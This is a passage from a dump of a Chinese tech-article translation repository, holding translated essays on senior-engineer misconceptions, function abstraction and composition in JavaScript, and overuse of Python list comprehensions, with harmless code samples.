人团队的首席技术官不同于 50 人或 500 人团队的首席技术官。即使头衔相同，所需的工作和技能完全不同。所以，仅仅因为我有一个“高级”职位头衔，也不能让我成为一名高级工程师。此外，等级头衔本身就有缺陷，很难跨公司比较。我认识到不要盯着职位头衔，或者说很重要的是把它们作为一种外部验证的形式。\n\n### 2. 每个人都写测试\n\n在我职业生涯的前半段，我从事研究工作。具体来说，我在一个公共资助的项目上工作了大约 3 年半，然后在一所大学担任 NLP 主席一年半。我可以告诉你的是：**学术研究中的编程与做工程和业务中的编程是完全不同**。\n\n大多数情况下，你不是在构建应用程序。你是在研究算法或解析数据集。或者，如果你正在构建一个应用程序，那么你的工作很可能是由公共资助的，这意味着其他人可以免费使用，而且通常是开源的。某样东西是免费的话，这意味着，在很大程度上，你没有责任确保它总是完全可用。\n\n因为，嗯，这是免费的。\n\n你也没有责任赚钱或产生结果，但这是一个完全不同内容的博客文章，讲述的是如何成为学术界的一名开发人员。 ✨\n\n**长话短说，我带着很多期望离开了学术界.**\n\n而那都是些有关业界运作的想法。我觉得该有自动部署、拉请求和代码审查。这些都是极好的！终于实现了我梦寐以求的 [代码质量](#4-代码质量最重要)！但我坚信，除了使用**适当的标准**和**最佳实践编**写高质量代码之外，**软件行业的每个人都要写测试**。\n\n**呃哼。**\n\n所以想象一下，当我在一家初创公司上班的第一天，却发现没有任何测试时，我有多么的惊讶。前端没有测试。后端没有测试。总之就是不做测试。\n\n没！有！测！试！\n\n这里不仅**没有测试**，而且似乎没有人认为缺乏测试有问题！我有点天真地猜想，不做测试，是因为大家人们不知道如何为 AngularJS 编写测试。如果我教他们怎么做，一切都会好的，我们会开始测试。错了！长话短说，多年以后，我们会在向代码中添加自动化测试方面取得巨大的进步，但这并不像我想象的那样简单。\n\n但这并不是因为人们不知道如何编写测试。\n\n他们要么从未感受过没有测试的痛苦，要么感受过有**过时**测试的痛苦。虽然两件事我也从未亲身经历过。\n\n> #### 我最终学到的\n>\n> **大量的公司和创业公司很少或根本没有测试。** 在努力寻找适合产品市场的产品或者在为生存而战时，很多公司都忽略了早期的测试。即使是那些看起来很复杂、有赞助会议或开源代码的公司，它们中的很多仍然是一个庞大的、粗糙的、有着很少的测试的整体，它们需要你的帮助来改进。询问那些不打算招募你的开发人员，让他们告诉你代码库的状态。\n>\n> **没有一家公司有完美的技术设置。** 每个公司都有问题，每个公司都有技术债务。问题是他们在做什么。我们求职时不应该有不切实际的想法，觉得是有工作要做的 —— 否则他们不会雇佣你 😉\n>\n> **对你缺乏现实生活经验的话题过于固执己见是相当傲慢的。** 我给人的印象是这样一个无所不知的人，坚持认为一定有测试，但几乎没有任何实际经验。不要像我一样。有原则很重要，但也要开放，真正有兴趣理解他人的经历和观点。\n\n### 3. 我们远远落后于其他人（也就是“技术错失恐惧症”）\n\n这个与单元测试的主题密切相关。尽管我的公司没有很多单元测试，**但其他公司肯定都做了，对吧？**\n\n我读了很多博客帖子。我在 YouTube 上观看了一些会议讨论。我一直在关注“橙色网站”。好像每个人写的程序都功能精妙、质量一流、性能出色，而且动画精美，而我只是在这里修补一些东西，试图让它在我的最后期限之前及时工作。\n\n我几乎崇拜我正在关注的所有其他公司，并且对我自己的公司和项目如此落后感到失望。\n\n> #### 我最终学到的\n>\n> **许多会议讨论的是概念的证明，而不是现实世界的场景。** 仅仅因为你看到一个关于特定技术的会议，这并不意味着公司在日常工作中使用了该技术，或者他们所有的代码都处于完美状态。通常，做会议演讲的人展示的是玩具应用程序，而不是真实的案例研究，区分这两者很重要。\n>\n> **处理遗留问题是完全正常的。** 但是说真的， 我们很容易会觉得有的公司没有遗留问题要处理。但在花时间参加会议，与顶尖科技公司的工作人员交谈之后，我发现，我们都是同病相怜。哪个公司没有他们试图完全把控（或在某个时候不得不完全把控）的庞杂的（堆积如山的）麻烦代码？有遗留的代码是正常的，学习如何处理遗留代码常常比从头构建应用程序教会你更多的东西，因为你将更多地接触到你还不理解的概念。\n\n### 4. 代码质量最重要\n\n早些时候，**代码审查这事，我做起来是可以很不留情的**。\n\n至少，我对编码风格非常挑剔。我的编码风格，恰好是 Airbnb JavaScript 风格指南的修改版本，但符合我个人的品味。当时我最不想看到的，就是别人的编码风格和我不一样，比如缩进、格式化、命名。要是想在我不留一条注释的情况下通过我负责的代码审查，不仅要用上读心术，还要有中彩票的运气。\n\n想象一下在你 PR 下的 50 多条关于所有遗漏的分号评论！\n\n因为我的眼睛像老鹰，这只老鹰想要那些高质量的分号。 🦅\n\n（幸运的是，在盯着电脑看了很多年后，我不再有鹰眼了，所以你们都幸免于难 —— #开玩笑）\n\n> #### 我最终学到的\n>\n> **足够好就是足够好。** 当谈到代码需要有多“好”时，收益会有一定程度的减少。代码不需要写得非常细致完美，也可以做到既完成工作任务，又不会在维护的时候出现大麻烦。通常，有些重复或冗长的代码更容易被其他人理解。另外，“好代码”不同于“看起来是我写的代码”。\n>\n> **架构比吹毛求疵更重要。** 虽然可以改进一小段代码，但往后引发更大问题的，通常是体系层面的东西。我应该更关注应用程序的结构，而不是早期的一小段代码。\n>\n> **代码质量很重要。** 别误会我。但是代码质量并不是我想象的那样，比如语言分析和格式化，或者在我最近读到的博客文章中提倡的任何风格。 🙈\n\n### 5. 一切都必须记录在案！\n\n当我进入我的第一家公司，老实说，这是我第一次大量使用别人写的代码。当然，在我的第一份工作中，我已经做了一点，但是我从来没有真正进入一个现有的代码库，并弄清楚到底发生了什么。因为那一次遇到这种问题的时候，我重写了所有代码，而不是试图弄清楚它是如何工作的。\n\n不管怎样。\n\n这都无济于事，因为它是由 Ruby 开发人员编写的 AngularJS 代码，或者说我是一个不知道自己还是个萌新的萌新开发者。 🕵🏻‍♀️\n\n那么，我如何处理这 300 行让我感觉自己快要淹死的不熟悉的代码的呢？\n\nJSDoc。无处不在。\n\n我开始注释**一切**只是为了试图理解它。对我可以接触到的所有函数作注释。\n\n我学习了所有那些奇特的专用于 Angular 的 JSDoc 语法。于是我的代码总是一般的代码两倍长，因为里面有许多注解和注释。 👌\n\n> #### 我最终学到的\n>\n> **文件有时是谎言。** 我们很容易认为文档是万灵药。“我们需要文档！” 我虽然没有得出结论，认为“仅仅因为文档工作很辛苦，并不意味着它不值得做”，但也明白到，你必须用正确的方式记录正确的事情。过多地记录错误的事情往往会导致停滞不前，这对于那些试图解决问题的人来说同样令人困惑。\n>\n> **在适当的时候更关注自动化而不是文档。** 测试或其他形式的自动化不太可能不同步。因此，我尝试将重点放在用清晰的语言编写好的测试上，这样开发人员在编写代码时就能够看到项目如何使用工作代码工作。另一个例子是用一些注释自动安装应用程序，而不是一个冗长而详细的安装指南。\n\n### 6. 技术债务是坏的\n\n如果你看完刚才那点就觉得我很神经质的话，别急，这点我还没说呢！在我职业生涯的一段时间里，我认为任何我认为“混乱”的代码实际上都是**技术债务**。技术债务是一个有趣的术语，因为如果你让人们给你举一个例子来说明它是什么，可能会得到许多不同的解释。\n\n因此，作为一个把任何一种杂乱的代码都视为技术债务的人，我立即试图以最严格的方式消除它！\n\n毫不夸张地说，我曾经花了一个周末手工修复了 800 个语言分析错误。\n\n这就是我有多神经质。\n\n**（免责声明：这是在自动修复成为一件事之前）**\n\n> #### 我最终学到的\n>\n> **杂乱无章的代码并不等同于技术债。** 仅仅因为感觉不好并不意味着这是技术债。技术债实际上在某种程度上减缓了你的速度，或者使某些变化变得困难或者容易出错。如果代码仅仅是有点乱，那就有点乱吧。整理它可能不值得我花时间。\n>\n> **持有一些技术债是健康的。** 有时候我们走捷径是因为我们需要借时间，为此，我们放弃了未来的速度。拥有一些真正的“技术债”的代码是可以的，只要你意识到你可能需要偿还这些债。如果你认为你的代码库没有技术债务，那么你很可能过分强调**完美**而不是**交付**。呜呜呜，说的就是我！\n\n### 7. 资历高意味着最擅长编程\n\n我从很小就开始编码，大概已经精通 for 循环 15 年多了。编程本身对我来说就像呼吸一样。当一个解决方案显而易见时，我可以直接输入，然后代码就会随之而来。这就像写博客或电子邮件一样。我可以比其他人更快地编写解决方案，并且通常自己承担更复杂的项目。\n\n很长一段时间，我以为成为高级开发人员就是这么一回事。\n\n难道不是吗？职位名称是高级开发人员，而不是“高级沟通者”或“高级项目经理”。我是真的搞不懂，要成为一名真正的资深开发者，还得学些什么其他技能。\n\n> #### 我最终学到的\n>\n> **除了编程，高级工程师还必须发展许多技能。** 与我所拥有的技能相比，我必须培养的技能数量简直是天文数字。从沟通和依赖管理到共享上下文、项目管理、评估，以及与非开发人员的成功协作。这些技能很难量化，需要大量的尝试和错误来纠正。\n>\n> **不是每个人都会在职业生涯中成为“高级”。** 资历高是多年积累经验的结果。然而，多年的经验是资历高的必要条件，但不是充分条件。它还必须是一种正确的经验，在这种经验中，你内化了正确的教训，并成功地将这些学习到的应用到未来。有时候，更大的教训可能需要一年或更长时间才能完全被发现 —— 这就是为什么多年的经验仍然重要，即使你是一个非常好的程序员。\n>\n> **在某些领域，我们都还年轻。** 无论你有多少经验，仍然有你知道的不多的地方。承认你所不知道的是填补这个空白并从更有经验的人那里获得帮助的第一步。\n\n---\n\n**意外收获** — 我真的很喜欢这篇文章 [关于成为一名高级工程师](https://www.kitchensoap.com/2012/10/25/on-being-a-senior-engineer/) 。 如果你正在努力解决你职业生涯中的什么问题，并且发现自己在想“高级意味着什么？”，这将是一本很棒的读物。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/abstraction-composition.md",
    "content": "> * 原文地址：[Abstraction & Composition](https://medium.com/javascript-scene/abstraction-composition-cb2849d5bdd6)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/abstraction-composition.md](https://github.com/xitu/gold-miner/blob/master/TODO1/abstraction-composition.md)\n> * 译者：[Xekin-FE](https://github.com/Xekin-FE)\n> * 校对者：[weibinzhu](https://github.com/weibinzhu), [Junkai Liu](https://github.com/Moonliujk)\n\n# 函数式编程：抽象与组合（第十五部分）\n\n![](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\nSmoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)\n\n> 备注：本篇本章是“组合式软件编程”中的一部分，从基础开始学习 JavaScript ES6+ 的函数式编程和组合软件技术。更多的内容请保持关注我们。\n> [< 上一章节](https://github.com/xitu/gold-miner/blob/master/TODO/nested-ternaries-are-great.md) | [<< 返回第一章节](https://github.com/xitu/gold-miner/blob/master/TODO1/composing-software-an-introduction.md) | [下一章节 >](https://github.com/xitu/gold-miner/blob/master/TODO1/the-forgotten-history-of-oop.md)\n\n随着我在程序开发中愈加成熟，我愈加重视底层的原理 —— 这是在我还是个初学者时所被我所忽视的，但现在随着开发经验越来越丰富，这些基础的原理也具有了深厚的意义。\n\n> “在空手道中，黑带的骄傲象征是从黑带穿到褪色而变为白带，这象征着回到了最初的状态” ~ John Maeda，[“简化的法则：设计，技术，商业，生活”](https://www.amazon.com/Laws-Simplicity-Design-Technology-Business/dp/0262134721/ref=as_li_ss_tl?ie=UTF8&qid=1516330765&sr=8-1&keywords=the+laws+of+simplicity&linkCode=ll1&tag=eejs-20&linkId=287b1d3357fa799ce7563584e098c5d8)\n\n在 Google 词典中写着，抽象是“独立于事物的关联、属性或具体附属物来考虑事物的过程”。\n\n抽象的词源来自中世纪拉丁语 **abstractus**，意为“拽开、抽离”。我喜欢这样的解读。抽象意味着移除某些东西 —— 但到底我们移除掉了什么，又为了什么目的呢？\n\n有时我喜欢将词汇翻译成其他语言然后再把它们翻译回英文，站在不同的角度去思考我们在英语中没有想到过的其他联想。当我把“抽象”一词翻译为意第绪语再翻译回英语时，结果意思是“心不在焉的”，我也喜欢这样的答案。一个心不在焉的人在使用自动驾驶仪的时候，不会去主动思考驾驶仪在做什么...只是这样做。\n\n抽象让我们得以安全的使用自动驾驶仪。所有软件都是自动化的。如果你有足够的时间，你在电脑上做的任何事情也都可以用纸，墨水，再加上信鸽来做。软件就只是把这些手动做起来十分耗时的所有细节自动化处理了。\n\n所有软件都是抽象的，在我们获利的同时，也将所有的辛勤工作以及那些无意识的细节埋藏。\n\n软件的运行过程大多都是不停的重复着。如果在问题分解阶段，我们决定一遍又一遍地重复实现相同的功能，将会造成大量不必要的工作。至少这样做肯定是愚蠢的。在许多情况下，这都是不切实际的。\n\n相反，我们可以通过编写一些对应的组件（像是函数、模块、类等等），再给个名称作为标识，然后我们就可以在需要使用它们的地方再去复用它们。\n\n分解的过程就是抽象的过程。成功的抽象也就意味着结果是一组可以单独使用并且也可以重新组合的组件。由此我们了解了一个非常重要的软件架构原则：\n\n软件解决方案应该可以被分解为其组件部分，并且可以重新组合成为新的解决方案，而无需更改内部的组件实现细节。\n\n### 抽象是一种简化的行为\n\n> “简化就是将显而易见的东西减去并增添有意义的东西” ~ John Maeda，[“简化的法则：设计，技术，商业，生活”](https://www.amazon.com/Laws-Simplicity-Design-Technology-Business/dp/0262134721/ref=as_li_ss_tl?ie=UTF8&qid=1516330765&sr=8-1&keywords=the+laws+of+simplicity&linkCode=ll1&tag=eejs-20&linkId=287b1d3357fa799ce7563584e098c5d8)\n\n抽象过程主要有两个组成部分：\n\n*   **泛化**是在重复模式中找到相似的（并显而易见的）功能并通过抽象来将它们隐藏的一个过程。\n*   **特殊化**是在使用抽象时，为那些**只在某处不同**（且有其特殊意义的）提供用例。\n\n抽象是一个提取概念本质的过程。通过发现不同领域中不同问题的共同点，我们可以认识到如果跨出自己的视界从不同的角度去看待问题。当我们看到问题的本质时，我们就可以找出一个好的解决方案同时它也可以适用于许多其他问题。如果我们将这样的思想应用在代码上，我们就可以从根本上降低应用程序的复杂性。\n\n> “如果你愿意触碰事物的深层基础，你将触碰到它的一切。” ~ Thich Nhat Hanh\n\n此原则可用于从根本上减少构建应用程序所需的代码。\n\n### 软件中的抽象\n\n软件中的抽象有很多种形式\n\n*   算法\n*   数据解构\n*   模块\n*   类\n*   框架\n\n而我个人最喜欢的是：\n\n> “有时，优雅的实现仅仅是一个函数。而不是一种方法。也不是类。也不是框架。只是一个函数而已。” ~ John Carmack (Id Software, Oculus VR)\n\n函数具有很好的抽象性，因为它们本身具有良好抽象所具备的特性：\n\n*   **标识性** — 为其分配名称并在不同的上下文当中重复使用。\n*   **可组合性** — 可以将简单的函数组合成更复杂的函数。\n\n### 组合抽象\n\n在软件中最常用于抽象的函数莫过于**纯函数**，它与数学中的函数有着相同的模块化特征。在数学中，一个函数对于相同的输入值，永远会得到相同的输出。我们可以将函数视为输入和输出之间的关系。给定一些输入 `A`，一个函数 `f` 将会产生 `B` 作为输出。你可以说是 `f` 定义了 `A` 和 `B` 之间的关系：\n\n```\nf: A -> B\n```\n\n同样的，我们可以定义另一个函数，`g`，它则定义了 `B` 和 `C` 之间的关系：\n\n```\ng: B -> C\n```\n\n这**意味着**另一个函数 `h` 就直接定义了 `A` 和 `C` 之间的联系：\n\n```\nh: A -> C\n```\n\n这些关系构成了问题空间的结构，也由此你在应用程序中组合函数的方式也就构成了应用程序的结构。\n\n将这些结构隐藏起来，一个良好的抽象就诞生了，同样的方式我们使用 `h` 这个方法就可以将 `A -> B -> C` 这个过程缩减为 `A -> C`。\n\n![](https://cdn-images-1.medium.com/max/800/1*uFTKDgI0kT878E97K14V1A.png)\n\n### 如何用更少的代码做更多的事情\n\n抽象是用更少代码做更多事的关键。举个例子，假如你写一个函数用来计算两个数字相加：\n\n```\nconst add = (a, b) => a + b;\n```\n\n但是你经常将它用于递增，因此固定其中一个数字是合理的：\n\n```\nconst a = add(1, 1);\nconst b = add(a, 1);\nconst c = add(b, 1);\n// ...\n```\n\n我们可以柯里化这个方法：\n\n```\nconst add = a => b => a + b;\n```\n\n然后创建一个偏函数应用，在函数调用时传入第一个参数，就会返回一个接受下一个参数的新函数：\n\n```\nconst inc = add(1);\n```\n\n现在，当我们需要增加 `1` 时，我们可以使用 `inc` 而不是之前的 `add` 方法，这就减少了我们所需的代码量：\n\n```\nconst a = inc(1);\nconst b = inc(a);\nconst c = inc(b);\n// ...\n```\n\n在这个例子里，inc 只是用来完成相加运算的一个**特定**版本。所有柯里化函数都是抽象出来的。而在实际上，所有高阶函数都可以概括为通过传递一个或者多个参数来得到特定的结果。\n\n比如 `Array.prototype.map()` 就是一个高阶函数，它抽象出一个方案，用来将函数应用于数组当中的每个元素以返回处理后所得到的元素构成的新数组。我们可以将 `map` 写成一个柯里化函数来让这个过程更加的明显：\n\n```\nconst map = f => arr => arr.map(f);\n```\n\n这版代码中的 map 是接受一个特定函数作为参数，然后返回另一个特定的方法，即以给定函数为方法，处理数组中每个元素：\n\n```\nconst f = n => n * 2;\n\nconst doubleAll = map(f);\nconst doubled = doubleAll([1, 2, 3]);\n// => [2, 4, 6]\n```\n\n注意这里我们定义 `doubleAll` 仅仅只需要这一小段代码 `map(f)` —— 就这么简单！这就是它的整个定义。如果我们在开始构建我们的代码块时就抽象那些常用的功能，我们就可以用很少的新代码来组合成相当复杂的行为。\n\n### 结论\n\n软件开发人员花费它们的整个职业生涯来创建抽象和组合抽象 —— 但仍有许多人对抽象或者组合它们没有一个良好的基本掌握。\n\n每当你创建抽象时，你都应该仔细地去考虑它，而且你也应该要意识到有很多已经为你提供地良好抽象（例如常用的 `map`、`filter` 和 `reduce`）。我们应该要学会识别抽象的特征：\n\n*   Simple（简单）\n*   Concise（明了）\n*   Reusable（可重用的）\n*   Independent（独立的）\n*   Decomposable（可分解的）\n*   Recomposable（可重新组合的）\n\n### 在 EricElliottJS.com 了解更多信息\n\n更多关于函数式编程的视频课程可供 EricElliottJS.com 的会员使用。如果您还不是会员，请[立即注册](https://ericelliottjs.com/)。\n\n[![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n* * *\n\nEric Elliott 是 “Programming JavaScript Applications”（O'Reilly）的作者，也是软件导师平台 DevAnywhere.io 的联合创始人。他为 Adobe Systems、Zumba Fitness、华尔街日报、ESPN、BBC 以及包括 Usher 和 Frank Oc 等在内的顶级录音艺术家的软件体验做出了贡献。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/abusing-and-overusing-list-comprehensions-in-python.md",
    "content": "> * 原文地址：[Overusing list comprehensions and generator expressions in Python](https://treyhunner.com/2019/03/abusing-and-overusing-list-comprehensions-in-python/)\n> * 原文作者：[Trey Hunner](https://treyhunner.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/abusing-and-overusing-list-comprehensions-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/abusing-and-overusing-list-comprehensions-in-python.md)\n> * 译者：[ccJia](https://github.com/ccJia)\n> * 校对者：[江五渣](http://jalan.space)，[TrWestdoor](https://github.com/TrWestdoor)\n\n# 列表推导式与表达式生成器在 Python 中的滥用\n\n列表推导式是我喜欢的 Python 特性之一。我非常喜爱列表推导式，为此我写过一篇关于它们的[文章](https://treyhunner.com/2015/12/python-list-comprehensions-now-in-color/ \"List Comprehensions: Explain Visually\")，做过一次针对它们的[演讲](https://youtu.be/5_cJIcgM7rw \"Comprehensible Comprehensions\")，还在 PyCon 2018 上办过一个[三小时推导式教程](https://youtu.be/_6U1XoxyyBY \"Using List Comprehensions and Generator Expressions For Data Processing\")。\n\n我喜爱推导式，但是我发现一旦一个新的 Python 使用者开始真正使用推导式，他们会在所有可能的地方用这些推导式。**推导式很可爱，但也很容易被滥用**。\n\n这篇文章展示的案例中，从可读性的角度来看，推导式都不是完成任务的最佳工具。我们会讨论一些案例，它们有比使用推导式更具有可读性的选择，我们还会看到一些不明显的案例，它们根本就不需要使用推导式。\n\n如果你还不是推导式的爱好者，那么这篇文章并不是为了吓退你，而是为了鼓励那些需要它的人（包括我）适度地使用它。\n\n**注意**：本文中涉及到的“推导式”是涵盖了所有形式的推导式（列表，集合，字典）以及生成表达式。如果你对推导式还不是特别熟悉，我建议你先阅读这篇[文章](https://treyhunner.com/2015/12/python-list-comprehensions-now-in-color/ \"List Comprehensions: Explain Visually\") 或者这个[演讲](https://youtu.be/5_cJIcgM7rw \"Comprehensible Comprehensions\")（这个演讲对生成器表达式挖掘的比较深）。\n\n## 编写拥挤的推导式\n\n列表推导式的批评者总是抱怨它们的可读性太差。他们是对的，很多推导式**都**很难读。**一些时候，让这些推导式变的更易读的方法仅仅是多一点间隔**。\n\n观察一下这个函数中的推导式：\n\n```python\ndef get_factors(dividend):\n    \"\"\"返回所给数值的所有因子作为一个列表。\"\"\"\n    return [n for n in range(1, dividend+1) if dividend % n == 0]\n```\n\n我们可以通过添加一些合适的换行来让这个推导式更易读：\n\n```python\ndef get_factors(dividend):\n    \"\"\"返回所给数值的所有因子作为一个列表。\"\"\"\n    return [\n        n\n        for n in range(1, dividend+1)\n        if dividend % n == 0\n    ]\n```\n\n代码越少意味着越好的可读性，但并不总是这样。**空白符是你的好朋友，尤其是在你使用推导式的时候**。\n\n通常来说，我跟倾向于使用上面的缩进格式来写我的推导式并**利用多行来隔离代码**。有时我也用单行来写解析式，但是我不默认使用单行。\n\n## 编写的推导式太丑\n\n一些循环是**可以**被写成推导式的形式，但是如果循环里面有太多逻辑，那他们可能**不应该**被这样改写。\n\n观察一下这个推导式：\n\n```python\nfizzbuzz = [\n    f'fizzbuzz {n}' if n % 3 == 0 and n % 5 == 0\n    else f'fizz {n}' if n % 3 == 0\n    else f'buzz {n}' if n % 5 == 0\n    else n\n    for n in range(100)\n]\n```\n\n这个推导式等价于这样的 `for` 循环：\n\n```python\nfizzbuzz = []\nfor n in range(100):\n    fizzbuzz.append(\n        f'fizzbuzz {n}' if n % 3 == 0 and n % 5 == 0\n        else f'fizz {n}' if n % 3 == 0\n        else f'buzz {n}' if n % 5 == 0\n        else n\n    )\n```\n\n推导式和 `for` 循环都使用了三层嵌套的 [内联 if 语句](https://docs.python.org/3/faq/programming.html#is-there-an-equivalent-of-c-s-ternary-operator) （Python 的[三元操作符](https://en.wikipedia.org/wiki/%3F:)）\n\n这里有一个更易读的方式，使用 `if-elif-else` 结构：\n\n```python\nfizzbuzz = []\nfor n in range(100):\n    if n % 3 == 0 and n % 5 == 0:\n        fizzbuzz.append(f'fizzbuzz {n}')\n    elif n % 3 == 0:\n        fizzbuzz.append(f'fizz {n}')\n    elif n % 5 == 0:\n        fizzbuzz.append(f'buzz {n}')\n    else:\n        fizzbuzz.append(n)\n```\n\n即使这里**有**一种用推导式书写代码的方法，**但是这并不意味着你**必须**要这么做**。\n\n在推导式里有很多复杂逻辑时，即使是单个的 [内联 if](https://docs.python.org/3/faq/programming.html#is-there-an-equivalent-of-c-s-ternary-operator) 也需要谨慎。\n\n```python\nnumber_things = [\n    n // 2 if n % 2 == 0 else n * 3\n    for n in numbers\n]\n```\n\n如果你倾向于在此类案例中使用推导式，那你至少需要考虑**是否可以使用空白符或者括号可以提高可读性**：\n\n```python\nnumber_things = [\n    (n // 2 if n % 2 == 0 else n * 3)\n    for n in numbers\n]\n```\n\n并且，考虑一下提取你的逻辑操作到一个独立的函数是否也可以改进你的可读性（这个略傻的例子没有体现）。\n\n```python\nnumber_things = [\n    even_odd_number_switch(n)\n    for n in numbers\n]\n```\n\n一个独立的函数是否可以提高可读性，取决于这个操作的重要程度、规模，以及函数名能否传达操作的含义。\n\n## 伪装成推导式的循环\n\n有时你会遇到使用了推导式语法却破坏了推导式初衷的代码。\n\n比如，这个代码好像是一个推导式：\n\n```python\n[print(n) for n in range(1, 11)]\n```\n\n但是它不像推导式一样**运行**。我们使用推导式达到的目的并不是它的本意。\n\n如果我们在 Python 中执行这个推导式，你就会明白我的意思：\n\n```python\n>>> [print(n) for n in range(1, 11)]\n\n[None, None, None, None, None, None, None, None, None, None]\n```\n\n我们是想打印 1 到 10 之间的所有数，同时我们也是这么做的。但是这个推导式的语句返回了一个全是 `None` 值的列表给我们，对我们毫无意义。\n\n**你给推导式什么内容，它就会建立什么样的列表**。我们从 `print` 函数那里获得值去建立列表，而 `print` 函数的返回值就是 `None`。\n\n但我们并不在意推导式建立的列表，我们只关心它的副作用。\n\n我们可以用下面的代码替代之前的代码：\n\n```python\nfor n in range(1, 11):\n    print(n)\n```\n\n列表推导式会**循环一个迭代器并且建立一个新的列表**,`for` 循环是用来**遍历一个迭代器同时完成你想做的任何操作**。\n\n当我在代码中看到推导式时，**我立即会假设我们创建了一个新的列表**（因为这个就是它的作用）。如果你用一个推导式完成**创建列表之外的目的**，它会给其他读你代码的人带来困扰。\n\n如果你不是为了创建一个新的列表，那就不要使用推导式。\n\n## 当存在更特定工具时，使用推导式\n\n在很多问题中，更特定的工具比通用目的的 `for` 循环更有意义。**但推导式并不总是最适合手头工作的专用工具。**\n\n我见过并且写过一堆像这样的代码：\n\n```python\nimport csv\n\nwith open('populations.csv') as csv_file:\n    lines = [\n        row\n        for row in csv.reader(csv_file)\n    ]\n```\n\n这种推导式会对**唯一性**的值进行排序。它的目的就是循环我们提供的迭代器（ `csv.reader(csv_file)` ）并且创建一个列表。\n\n但是，在 Python 中，我们为这个任务提供了一个更特定的工具：`list`  的构造函数。Python 的 `list` 构造函数可以为我们完成循环并创建列表的工作。\n\n```python\nimport csv\n\nwith open('populations.csv') as csv_file:\n    lines = list(csv.reader(csv_file))\n```\n\n推导式是一种特殊用途的工具，用于在迭代器上循环，以便在修改每个元素的同时创建一个新列表，并/或过滤掉一些元素。`list` 构造函数是一个特定目的工具，用来遍历推导式并创建列表，同时不会改变任何的东西。\n\n如果在建立列表时你不需要过滤元素或将它们映射到新元素中，**你不需要使用推导式，你只需要使用  `list` 构造函数**。\n\n这个推导式转换了从 `zip` 中得到的 `row` 元组并放入列表：\n\n```python\ndef transpose(matrix):\n    \"\"\"返回给定列表的转置版本。\"\"\"\n    return [\n        [n for n in row]\n        for row in zip(*matrix)\n    ]\n```\n\n我们同样也可以使用 `list` 构造函数:\n\n```python\ndef transpose(matrix):\n    \"\"\"返回给定列表的转置版本。\"\"\"\n    return [\n        list(row)\n        for row in zip(*matrix)\n    ]\n```\n\n每当你看到如下的推导式时：\n\n```python\nmy_list = [x for x in some_iterable]\n```\n\n你可以用这种写法替代：\n\n```python\nmy_list = list(some_iterable)\n```\n\n这同样适用于 `dict` 和 `set` 的推导式。\n\n这个是我过去经常会写的东西：\n\n```python\nstates = [\n    ('AL', 'Alabama'),\n    ('AK', 'Alaska'),\n    ('AZ', 'Arizona'),\n    ('AR', 'Arkansas'),\n    ('CA', 'California'),\n    # ...\n]\n\nabbreviations_to_names = {\n    abbreviation: name\n    for abbreviation, name in states\n}\n```\n\n我们遍历一个有两项元组构成的列表，并以此生成一个字典。\n\n这个任务实际上已经被 `dict`的构造函数完成了：\n\n```python\nabbreviations_to_names = dict(states)\n```\n\n`list` 和 `dict` 的构造函数不是唯一的推导式替代工具。标准库和第三方库中包含了很多工具，在有的时候，他们比推导式更适合于你的循环要求。\n\n下面这个是一个生成器表达式，目的是对嵌套迭代器求和：\n\n```python\ndef sum_all(number_lists):\n    \"\"\"返回二维列表中所有元素的和。\"\"\"\n    return sum(\n        n\n        for numbers in number_lists\n        for n in numbers\n    )\n```\n\n使用 `itertools.chain` 可以达到同样的目的:\n\n```python\nfrom itertools import chain\n\ndef sum_all(number_lists):\n    \"\"\"返回二维列表中所有元素的和。\"\"\"\n    return sum(chain.from_iterable(number_lists))\n```\n\n什么时候使用推导式什么时候使用替代品，这个的界定没有那么清晰。\n\n我也经常纠结使用 `itertools.chain`  